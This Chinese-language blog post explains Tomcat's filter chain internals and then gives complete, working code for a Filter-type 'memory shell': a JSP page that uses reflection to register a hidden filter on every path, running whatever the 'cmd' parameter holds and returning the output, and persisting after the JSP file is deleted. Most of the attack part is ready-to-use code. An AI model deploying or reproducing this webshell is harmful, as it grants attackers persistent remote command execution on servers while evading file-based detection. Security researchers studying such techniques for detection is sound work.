Tomcat内存马-Filter型
Tomcat具体知识可看我的前一篇文章
源码分析
我们首先来实现一个简单的Filter
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("调用了Filter!");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
使用IDEA进行调试,在doFilter处进行断点,调用链如下:
我们向上回溯,首先看一下ApplicationFilterChain#internalDoFilter
在此处调用了filter.doFilter()方法,此处的filter为我们编写filter对象,该对象通过filterConfig.getFilter()从filterConfig中获取。而filterConfig从ApplicationFilterConfig类型的filters数组中获取。
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
每个filterConfig都对应着一个Filter,其中存储这此条Filter的各种信息,例如Filterdef和Filter对象等信息
filterDef中存放了filterClass、filterName等基本信息
我们来找一下存放filterConfig的数组filters[]在哪里被赋值
在StandardWrapperValve#invoke方法中,初始化了一个ApplicationFilterChain
类
跟进ApplicationFilterFactory#createFilterChain方法,首先会创建一个空的filterChain对象
然后通过wrapper.getParent()函数来获取StandardContext对象,并获取StandardContext对象中的FilterMaps
FilterMaps是存放FilterMap的数组,而FilterMap里主要存储Filter的名称和路径映射信息,其对应的是web.xml中的<filter-mapping>
标签
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
然后根据Filter的名称,在StandardContext中获取FilterConfig,通过filterChain.addFilter(filterConfig)将所有filterConfig添加到filterChain中
在filterChain.addFilter()方法中,filterConfig被添加至filters[]中,此时就完成了我们前面filters[]的获取问题
接着会回到StandardWrapperValve#invoke方法中,调用filterChain.doFilter方法
在filterChain.doFilter中会调用ApplicationFilterChain#internalDoFilter方法,至此Filter的创建过程清晰明了
从上面的分析可知,filter内存马的关键就是将恶意Filter的信息添加进FilterConfig数组和将恶意的filtermap添加进FilterMaps中,那么Tomcat在启动时就会自动初始化我们的恶意Filter,并在访问相应的路径时触发代码。
动态注册Filter
经过上面的分析,我们可以总结出动态注册Filter的流程:
- 获取上下文对象StandardContext
- 创建恶意Filter
- 构造FilterDef封装filter
- 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
- 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
我们一步一步完成:
获取StandardContext对象
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意Filter
public class Filter_Shell implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+"\n");
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
构造FilterDef封装filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
创建filterMap并放入filterMaps
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
完整代码
<%--
Created by IntelliJ IDEA.
User: Christ1na
Date: 2023/2/15
Time: 10:25
To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<%!
public class Filter_Shell implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+"\n");
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
Filter_Shell filter = new Filter_Shell();
String name = "Christ1na";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>
先访问jsp木马,动态注册恶意Filter
然后访问任意路由即可执行命令,即使删除此jsp文件